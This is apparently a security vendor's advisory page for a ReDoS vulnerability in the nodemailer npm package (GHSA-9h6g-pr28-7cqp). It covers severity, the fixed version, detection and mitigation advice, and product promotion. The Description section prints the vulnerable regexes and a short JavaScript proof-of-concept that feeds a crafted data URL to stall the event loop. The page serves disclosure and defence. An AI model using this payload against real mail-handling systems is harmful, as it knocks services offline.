How severe is GHSA-9h6g-pr28-7cqp?

GHSA-9h6g-pr28-7cqp has a CVSS score of 5.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-9h6g-pr28-7cqp?

GHSA-9h6g-pr28-7cqp affects the following packages: nodemailer (npm). Ecosystems affected: npm.

How do I fix GHSA-9h6g-pr28-7cqp?

Update nodemailer to 6.9.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9h6g-pr28-7cqp is resolved across your whole dependency graph.

How do I detect GHSA-9h6g-pr28-7cqp in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-9h6g-pr28-7cqp if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-9h6g-pr28-7cqp?

O3 pinpoints whether GHSA-9h6g-pr28-7cqp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-9h6g-pr28-7cqp actively exploited in the wild?

No public exploit code has been indexed for GHSA-9h6g-pr28-7cqp yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-9h6g-pr28-7cqp published, and has it been updated?

GHSA-9h6g-pr28-7cqp was published on January 31, 2024 and was last updated on September 3, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-9h6g-pr28-7cqp

MEDIUM

nodemailer ReDoS when trying to send a specially crafted email

Published

Jan 31, 2024

Updated

Sep 3, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

📦nodemailer

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();

   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';

   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}

await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`nodemailer`	all versions	6.9.9

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nodemailer to 6.9.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9h6g-pr28-7cqp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9h6g-pr28-7cqp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9h6g-pr28-7cqp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. ### Details Regex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/ Path: compile -> getAttachments -> _processDataUrl Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/ Path: _convertDataImages ### PoC https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9a

O3 Security · Impact-Aware SCA

Is GHSA-9h6g-pr28-7cqp in your dependencies?

O3 detects GHSA-9h6g-pr28-7cqp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works